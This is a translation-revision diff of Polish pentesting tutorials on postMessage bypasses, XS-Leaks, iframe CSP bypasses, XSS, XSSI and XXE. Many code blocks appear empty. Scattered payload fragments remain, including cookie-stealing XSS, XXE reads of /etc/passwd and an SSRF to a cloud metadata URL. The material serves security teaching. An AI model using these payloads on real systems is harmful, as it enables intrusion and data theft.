Ominięcie e.origin == window.origin -Podczas osadzania strony internetowej w **sandboxed iframe** przy użyciu %%%%%%, ważne jest, aby zrozumieć, że pochodzenie iframe będzie ustawione na null. To jest szczególnie ważne w przypadku **atrybutów sandbox** i ich implikacji na bezpieczeństwo i funkcjonalność. +Podczas osadzania strony internetowej w **sandboxed iframe** za pomocą %%%%%%, ważne jest, aby zrozumieć, że pochodzenie iframe będzie ustawione na null. To jest szczególnie ważne przy zajmowaniu się **atrybutami sandbox** i ich implikacjami dla bezpieczeństwa i funkcjonalności. -Poprzez określenie **`allow-popups`** w atrybucie sandbox, każde okno popup otwarte z wnętrza iframe dziedziczy ograniczenia sandboxu swojego rodzica. Oznacza to, że chyba że atrybut **`allow-popups-to-escape-sandbox`** jest również uwzględniony, pochodzenie okna popup jest również ustawione na `null`, co jest zgodne z pochodzeniem iframe. +Poprzez określenie **`allow-popups`** w atrybucie sandbox, każde okno popup otwarte z wnętrza iframe dziedziczy ograniczenia sandboxu swojego rodzica. Oznacza to, że chyba że atrybut **`allow-popups-to-escape-sandbox`** jest również uwzględniony, pochodzenie okna popup jest podobnie ustawione na `null`, zgodnie z pochodzeniem iframe. W konsekwencji, gdy popup jest otwierany w tych warunkach i wiadomość jest wysyłana z iframe do popupu za pomocą **`postMessage`**, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na `null`. Ta sytuacja prowadzi do scenariusza, w którym **`e.origin == window.origin`** ocenia się jako prawda (`null == null`), ponieważ zarówno iframe, jak i popup dzielą tę samą wartość pochodzenia `null`. @@ -147,7 +147,7 @@ if (received_message.source !== window) { return } ``` -Możesz wymusić **`e.source`** wiadomości, aby było null, tworząc **iframe**, który **wysyła** **postMessage** i jest **natychmiast usuwany**. +Możesz wymusić **`e.source`** wiadomości, aby było równe null, tworząc **iframe**, który **wysyła** **postMessage** i jest **natychmiast usuwany**. Aby uzyskać więcej informacji **przeczytaj:** @@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md ### Ominięcie nagłówka X-Frame -Aby przeprowadzić te ataki, najlepiej będzie, jeśli będziesz mógł **umieścić stronę internetową ofiary** w `iframe`. Jednak niektóre nagłówki, takie jak `X-Frame-Header`, mogą **zapobiegać** temu **zachowaniu**.\ +Aby przeprowadzić te ataki, najlepiej byłoby **umieścić stronę internetową ofiary** w `iframe`. Jednak niektóre nagłówki, takie jak `X-Frame-Header`, mogą **zapobiegać** temu **zachowaniu**.\ W takich scenariuszach możesz nadal użyć mniej dyskretnego ataku. Możesz otworzyć nową kartę do podatnej aplikacji internetowej i komunikować się z nią: ```markup ``` -### Cross Origin + Cookie z inną subdomeną +### Cross Origin + Cookie z innym subdomeną W tym wpisie na blogu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) atakujący zdołał **wykonać dowolny Javascript w subdomenie** domeny, w której odbywała się komunikacja przez web socket. Ponieważ była to **subdomena**, **ciasteczko** było **wysyłane**, a ponieważ **Websocket nie sprawdzał poprawnie Origin**, możliwe było komunikowanie się z nim i **kradzież tokenów**. diff --git a/src/pentesting-web/xpath-injection.md b/src/pentesting-web/xpath-injection.md index 7978cfbab..7b6370f58 100644 --- a/src/pentesting-web/xpath-injection.md +++ b/src/pentesting-web/xpath-injection.md @@ -25,7 +25,7 @@ Przykłady wyrażeń ścieżkowych i ich wyniki obejmują: - **/bookstore**: Wybierany jest element główny bookstore. Zauważono, że absolutna ścieżka do elementu jest reprezentowana przez ścieżkę zaczynającą się od ukośnika (/). - **bookstore/book**: Wybierane są wszystkie elementy book, które są dziećmi bookstore. - **//book**: Wybierane są wszystkie elementy book w dokumencie, niezależnie od ich lokalizacji. -- **bookstore//book**: Wybierane są wszystkie elementy book, które są potomkami elementu bookstore, bez względu na ich pozycję pod elementem bookstore. +- **bookstore//book**: Wybierane są wszystkie elementy book, które są potomkami elementu bookstore, niezależnie od ich pozycji pod elementem bookstore. - **//@lang**: Wybierane są wszystkie atrybuty o nazwie lang. ### Wykorzystanie predykatów diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index bf2856fb8..12d26f53a 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -4,12 +4,12 @@ ## Podstawowe informacje -XS-Search to metoda używana do **ekstrakcji informacji między źródłami** poprzez wykorzystanie **wrażliwości kanałów bocznych**. +XS-Search to metoda używana do **ekstrakcji informacji międzydomenowych** poprzez wykorzystanie **wrażliwości kanałów bocznych**. Kluczowe komponenty zaangażowane w ten atak obejmują: -- **Wrażliwa strona internetowa**: Strona docelowa, z której zamierzane jest wydobycie informacji. -- **Strona atakującego**: Złośliwa strona internetowa stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit. +- **Wrażliwa strona internetowa**: Docelowa strona, z której zamierzane jest wydobycie informacji. +- **Strona atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit. - **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.). - **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony Internetowej na podstawie informacji zebranych za pomocą metody włączenia. - **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący ma na celu odróżnienie. @@ -19,8 +19,8 @@ Kluczowe komponenty zaangażowane w ten atak obejmują: Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Internetowej: -- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** między źródłami, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji. -- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona między źródłami korzysta z konkretnego JavaScript Web API. +- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** międzydomenowo, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji. +- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona międzydomenowa korzysta z konkretnego JavaScript Web API. - **Przekierowania**: Wykrywanie nawigacji do różnych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML. - **Zawartość strony**: Obserwowanie **różnic w treści odpowiedzi HTTP** lub w podzasobach strony, takich jak **liczba osadzonych ramek** lub różnice w rozmiarze obrazów. - **Nagłówek HTTP**: Zauważenie obecności lub ewentualnie wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy. @@ -28,7 +28,7 @@ Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Inte ### Metody włączenia -- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów między źródłami**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). +- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów międzydomenowych**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). - **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkowaniem**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow. - **Okna podręczne**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Okna podręczne, często używane w jednolitym logowaniu, omijają ograniczenia ramkowania i ciasteczek zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie okien podręcznych do określonych działań użytkownika. - **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybierając śledzenie przekierowań HTTP. @@ -38,15 +38,15 @@ Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Inte - **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługiwacze zdarzeń, takie jak **onload** i **onerror**, dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów. - **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem. - **Globalne ograniczenia**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku. -- **Stan globalny**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron między źródłami. +- **Stan globalny**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron międzydomenowych. - **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski na temat żądanych zasobów. -- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne między źródłami** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej między źródłami. +- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne międzydomenowo** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej międzydomenowo. ## Narzędzie XSinator i dokument XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks** opisanych w jego dokumencie: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) -Możesz **uzyskać dostęp do narzędzia pod** [**https://xsinator.com/**](https://xsinator.com/) +Możesz **uzyskać dostęp do narzędzia pod adresem** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] > **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często cierpią na wolność, hałas i niedokładność. @@ -66,7 +66,7 @@ Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt - **Metody włączenia**: Ramki, elementy HTML - **Wykrywalna różnica**: Kod statusu - **Więcej informacji**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Podsumowanie**: Jeśli próbuje się załadować zasób, zdarzenia onerror/onload są wywoływane, gdy zasób jest ładowany pomyślnie/niepomyślnie, możliwe jest ustalenie kodu statusu. +- **Podsumowanie**: jeśli próbuje się załadować zasób, zdarzenia onerror/onload są wywoływane, gdy zasób jest ładowany pomyślnie/niepomyślnie, możliwe jest ustalenie kodu statusu. - **Przykład kodu**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() {{#ref}} @@ -152,7 +152,7 @@ Wtedy możesz **rozróżnić** między **poprawnie** załadowaną stroną a stro - **Metody włączenia**: Ramki - **Wykrywalna różnica**: Zawartość strony - **Więcej informacji**: -- **Podsumowanie:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, która może być **kontrolowana** przez użytkownika. Użytkownik mógłby ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdy próbę wewnątrz **` ``` > [!WARNING] -> Tag stylu jest używany do **dania wystarczająco dużo czasu na renderowanie iframe**. Bez niego znajdziesz alert **undefined**. +> Tag stylu jest używany do **dania wystarczająco dużo czasu na renderowanie iframe**. Bez niego znajdziesz alert o **undefined**. Aby zniszczyć głębsze atrybuty, możesz użyć **iframe'ów z kodowaniem html** w ten sposób: ```html @@ -89,7 +89,7 @@ Manipulowanie HTML na stronie pozwala na nadpisanie `someObject` węzłem DOM, c ```html ``` -W podatnym kodzie takim jak: +W podatnym kodzie, takim jak: ```html ``` -Jeśli uzyskasz dostęp do poprzedniego html za pomocą serwera http (takiego jak `python3 -m http.server`), zauważysz, że wszystkie skrypty będą wykonywane (ponieważ nie ma CSP, które by temu zapobiegało). **Rodzic nie będzie mógł uzyskać dostępu do zmiennej `secret` wewnątrz żadnego iframe** i **tylko iframes if2 i if3 (które są uważane za tej samej witryny) mogą uzyskać dostęp do sekretu** w oryginalnym oknie.\ +Jeśli uzyskasz dostęp do poprzedniego html za pomocą serwera http (takiego jak `python3 -m http.server`), zauważysz, że wszystkie skrypty będą wykonywane (ponieważ nie ma CSP, które by temu zapobiegało). **Rodzic nie będzie mógł uzyskać dostępu do zmiennej `secret` wewnątrz żadnego iframe** i **tylko iframes if2 i if3 (które są uważane za tej samej witryny) mogą uzyskać dostęp do secret** w oryginalnym oknie.\ Zauważ, że if4 jest uważany za mający `null` origin. ### Iframes z CSP @@ -54,7 +54,7 @@ Zauważ, że if4 jest uważany za mający `null` origin. > Proszę zauważyć, że w poniższych obejściach odpowiedź na stronę w iframe nie zawiera żadnego nagłówka CSP, który zapobiegałby wykonaniu JS. Wartość `self` dla `script-src` nie pozwoli na wykonanie kodu JS przy użyciu protokołu `data:` lub atrybutu `srcdoc`.\ -Jednak nawet wartość `none` CSP pozwoli na wykonanie iframe'ów, które umieszczają adres URL (pełny lub tylko ścieżkę) w atrybucie `src`.\ +Jednak nawet wartość `none` CSP pozwoli na wykonanie iframe'ów, które umieszczają URL (pełny lub tylko ścieżkę) w atrybucie `src`.\ Dlatego możliwe jest obejście CSP strony za pomocą: ```html @@ -77,11 +77,11 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert ``` Zauważ, że **poprzedni CSP zezwala tylko na wykonanie skryptu inline**.\ -Jednak **tylko skrypty `if1` i `if2` będą wykonywane, ale tylko `if1` będzie mogło uzyskać dostęp do tajemnicy rodzica**. +Jednak **wykonane zostaną tylko skrypty `if1` i `if2`, ale tylko `if1` będzie mogło uzyskać dostęp do tajemnicy rodzica**. ![](<../../images/image (372).png>) -Dlatego możliwe jest **obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go za pomocą iframe, nawet przy `script-src 'none'`**. To **może być również zrealizowane poprzez nadużycie punktu końcowego JSONP w tej samej witrynie**. +Dlatego możliwe jest **obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go za pomocą iframe, nawet przy `script-src 'none'`**. Może to **potencjalnie być również zrealizowane poprzez nadużycie punktu końcowego JSONP w tej samej witrynie**. Możesz to przetestować w następującym scenariuszu, w którym ciasteczko jest kradzione, nawet przy `script-src 'none'`. Po prostu uruchom aplikację i uzyskaj do niej dostęp za pomocą przeglądarki: ```python @@ -128,7 +128,7 @@ Gdy jest używany, atrybut `sandbox` nakłada kilka ograniczeń: - Zapobiega interakcji linków z innymi kontekstami przeglądania. - Użycie wtyczek za pomocą ``, ``, `` lub podobnych tagów jest zabronione. - Nawigacja w górnym kontekście przeglądania przez samą zawartość jest zablokowana. -- Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne ustawianie fokusu na kontrolkach formularzy, są blokowane. +- Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne skupianie elementów formularza, są blokowane. Wartość atrybutu może być pozostawiona pusta (`sandbox=""`), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń. ```html diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 42a9efab2..de8675b53 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -6,7 +6,7 @@ W języku JavaScript opisany jest mechanizm znany jako **Hoisting**, w którym deklaracje zmiennych, funkcji, klas lub importów są koncepcyjnie przenoszone na górę ich zakresu przed wykonaniem kodu. Proces ten jest automatycznie realizowany przez silnik JavaScript, który przetwarza skrypt w wielu przejściach. -Podczas pierwszego przejścia silnik analizuje kod, aby sprawdzić błędy składniowe i przekształca go w abstrakcyjne drzewo składniowe. Faza ta obejmuje hoisting, proces, w którym niektóre deklaracje są przenoszone na szczyt kontekstu wykonania. Jeśli faza analizy jest udana, co wskazuje na brak błędów składniowych, wykonanie skryptu postępuje. +Podczas pierwszego przejścia silnik analizuje kod, aby sprawdzić błędy składniowe i przekształca go w abstrakcyjne drzewo składniowe. Faza ta obejmuje hoisting, proces, w którym niektóre deklaracje są przenoszone na górę kontekstu wykonania. Jeśli faza analizy jest udana, co wskazuje na brak błędów składniowych, wykonanie skryptu postępuje. Kluczowe jest zrozumienie, że: @@ -15,7 +15,7 @@ Kluczowe jest zrozumienie, że: #### Typy hoistingu -Na podstawie informacji z MDN istnieją cztery wyraźne typy hoistingu w JavaScript: +Na podstawie informacji z MDN, w JavaScript istnieją cztery wyraźne typy hoistingu: 1. **Value Hoisting**: Umożliwia użycie wartości zmiennej w jej zakresie przed linią deklaracji. 2. **Declaration Hoisting**: Pozwala na odwoływanie się do zmiennej w jej zakresie przed jej deklaracją bez powodowania `ReferenceError`, ale wartość zmiennej będzie `undefined`. diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md index cd5180857..56b96fb26 100644 --- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md +++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md @@ -207,7 +207,7 @@ Operator dekrementacji `--` jest również przypisaniem. Ten operator przyjmuje ### .call i .apply -Metoda **`.call`** funkcji jest używana do **uruchamiania funkcji**.\ +Metoda **`.call`** funkcji jest używana do **wywołania funkcji**.\ **Pierwszym argumentem**, którego oczekuje domyślnie, jest **wartość `this`**, a jeśli **nic** nie zostanie podane, **`window`** będzie tą wartością (chyba że używany jest **`tryb ścisły`**). ```javascript function test_call() { @@ -301,9 +301,9 @@ var bindFn_this = fn.bind(this, "fixingparam1") bindFn_change("Hello", "World") ``` > [!NOTE] -> Zauważ, że używając **`bind`** możesz manipulować obiektem **`this`**, który będzie używany podczas wywoływania funkcji. +> Zauważ, że używając **`bind`**, możesz manipulować obiektem **`this`**, który będzie używany podczas wywoływania funkcji. -### Wyciek kodu funkcji +### Wyciekanie kodu funkcji Jeśli możesz **uzyskać dostęp do obiektu** funkcji, możesz **zdobyć kod** tej funkcji. ```javascript diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index cb667bd3d..4a59364cc 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -7,16 +7,16 @@ Jeśli strona internetowa tworzy PDF przy użyciu danych wejściowych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\ Więc, jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **znaczników HTML**, zacznie je **interpretować**, a ty możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**. -Zauważ, że znaczniki `` nie zawsze działają, więc będziesz potrzebować innej metody do wykonania JS (na przykład, wykorzystując `` nie zawsze działają, więc będziesz potrzebować innej metody do wykonania JS (na przykład, wykorzystując ` @@ -71,12 +71,12 @@ if not, you will at least have wich path the bot is accessing --> ``` ### Załaduj zewnętrzny skrypt -Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby zmusić bota do załadowania skryptu, który kontrolujesz lokalnie. Wtedy będziesz mógł lokalnie zmienić ładunek i sprawić, że bot załaduje go za każdym razem z tym samym kodem. +Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby zmusić bota do załadowania skryptu, który kontrolujesz lokalnie. Wtedy będziesz mógł lokalnie zmieniać ładunek i sprawić, że bot załaduje go za każdym razem z tym samym kodem. ```markup ')"/> ``` -### Odczyt lokalnego pliku / SSRF +### Odczytaj lokalny plik / SSRF > [!WARNING] > Zmień `file:///etc/passwd` na `http://169.254.169.254/latest/user-data`, aby **spróbować uzyskać dostęp do zewnętrznej strony internetowej (SSRF)**. diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index 584a8f809..58d324db8 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -42,7 +42,7 @@ t:prompt(document.cookie)) ``` ### HTML Sanitiser Markdown Bypass -Następujący kod **sanitizuje wejście HTML** i następnie **przekazuje je do parsera markdown**, a następnie XSS może być wyzwolony, wykorzystując błędne interpretacje między Markdown a DOMPurify +Poniższy kod **sanitizuje dane wejściowe HTML** i następnie **przekazuje je do parsera markdown**, a następnie XSS może być wywołane poprzez nadużywanie błędnych interpretacji między Markdown a DOMPurify ```html diff --git a/src/pentesting-web/xssi-cross-site-script-inclusion.md b/src/pentesting-web/xssi-cross-site-script-inclusion.md index b5a16c5d3..d83b93113 100644 --- a/src/pentesting-web/xssi-cross-site-script-inclusion.md +++ b/src/pentesting-web/xssi-cross-site-script-inclusion.md @@ -10,7 +10,7 @@ - **Obejście SOP**: Skrypty są zwolnione z **Same-Origin Policy**, co pozwala na ich dołączanie między domenami. - **Ekspozycja danych**: Atakujący może wykorzystać to zachowanie do odczytu danych załadowanych za pomocą tagu `script`. -- **Wpływ na dynamiczny JavaScript/JSONP**: **XSSI** jest szczególnie istotne dla dynamicznego JavaScript lub **JSON with Padding (JSONP)**. Technologie te często wykorzystują informacje "ambient-authority" (takie jak ciasteczka) do uwierzytelniania. Gdy żądanie skryptu jest wysyłane do innego hosta, te dane uwierzytelniające (np. ciasteczka) są automatycznie dołączane do żądania. +- **Wpływ na dynamiczny JavaScript/JSONP**: **XSSI** jest szczególnie istotne dla dynamicznego JavaScriptu lub **JSON with Padding (JSONP)**. Technologie te często wykorzystują informacje "ambient-authority" (takie jak ciasteczka) do uwierzytelniania. Gdy żądanie skryptu jest wysyłane do innego hosta, te dane uwierzytelniające (np. ciasteczka) są automatycznie dołączane do żądania. - **Wycieki tokenów uwierzytelniających**: Jeśli atakujący może oszukać przeglądarkę użytkownika, aby zażądała skryptu z serwera, który kontroluje, może uzyskać dostęp do wrażliwych informacji zawartych w tych żądaniach. ### Typy @@ -20,7 +20,7 @@ 3. **Dynamiczny JavaScript** - Dotyczy JavaScriptu, który dynamicznie generuje treść. 4. **Nie-JavaScript** - Odnosi się do luk, które nie dotyczą bezpośrednio JavaScriptu. -**Poniższe informacje są podsumowaniem [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Sprawdź to, aby uzyskać dalsze szczegóły. +**Poniższe informacje są podsumowaniem [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Sprawdź to, aby uzyskać więcej szczegółów. ### Regularne XSSI @@ -61,7 +61,7 @@ alert(JSON.stringify(leaked)) ``` -Dla zmiennych, które nie znajdują się w globalnej przestrzeni nazw, _manipulacja prototypem_ może czasami być wykorzystana. Technika ta wykorzystuje projekt JavaScript, w którym interpretacja kodu polega na przeszukiwaniu łańcucha prototypów w celu zlokalizowania wywoływanej właściwości. Poprzez nadpisanie niektórych funkcji, takich jak `Array`'s `slice`, napastnicy mogą uzyskać dostęp do zmiennych nieglobalnych i je ujawniać: +Dla zmiennych, które nie znajdują się w globalnej przestrzeni nazw, _manipulacja prototypem_ może czasami być wykorzystana. Technika ta wykorzystuje projekt JavaScriptu, w którym interpretacja kodu polega na przeszukiwaniu łańcucha prototypów w celu zlokalizowania wywoływanej właściwości. Poprzez nadpisanie niektórych funkcji, takich jak `Array`'s `slice`, atakujący mogą uzyskać dostęp do zmiennych nieglobalnych i je ujawniać: ```javascript Array.prototype.slice = function () { // leaks ["secret1", "secret2", "secret3"] diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 5a6fb076a..24d951153 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -## Podstawy XML +## XML Podstawy XML to język znaczników zaprojektowany do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych znaczników. Różni się od HTML tym, że nie jest ograniczony do zestawu zdefiniowanych znaczników. Znaczenie XML spadło wraz z rosnącą popularnością JSON, mimo jego początkowej roli w technologii AJAX. @@ -43,7 +43,7 @@ W tym pierwszym przypadku zauważ, że SYSTEM "_\*\*file:///\*\*etc/passwd_" ró ``` ![](<../images/image (86).png>) -Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serwer WWW używa PHP (Nie dotyczy to laboratoriów Portswigger). +Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serwer internetowy używa PHP (Nie dotyczy to laboratoriów Portswigger). ```xml ]> @@ -93,7 +93,7 @@ Używając **wcześniej skomentowanej techniki**, możesz sprawić, że serwer u **W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**Portswigger lab tutaj**](https://portswigger.net/web-security/xxe/blind)**.** -W podanym złośliwym DTD przeprowadzane są szereg kroków w celu wyeksportowania danych: +W danym złośliwym DTD przeprowadzane są szereg kroków w celu eksfiltracji danych: ### Przykład złośliwego DTD: @@ -150,7 +150,7 @@ _**Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej Co zatem z niewidocznymi lukami XXE, gdy **interakcje poza pasmem są zablokowane** (połączenia zewnętrzne nie są dostępne)? -Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy, aby ujawnić wrażliwe informacje. +Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy w celu ujawnienia wrażliwych informacji. Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/local/app/schema.dtd`, definiujący encję o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowy DTD w następujący sposób: ```xml @@ -169,7 +169,7 @@ Zarysowane kroki są realizowane przez ten DTD: - Definicja encji parametru XML o nazwie `local_dtd` zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera. - Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu parsowania, ujawniając zawartość pliku `/etc/passwd`. -- Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu. +- Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu. **Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w `/usr/share/yelp/dtd/docbookx.dtd`, zawierający encję o nazwie `ISOamso`. ```xml @@ -188,7 +188,7 @@ Zarysowane kroki są realizowane przez ten DTD: ``` ![](<../images/image (625).png>) 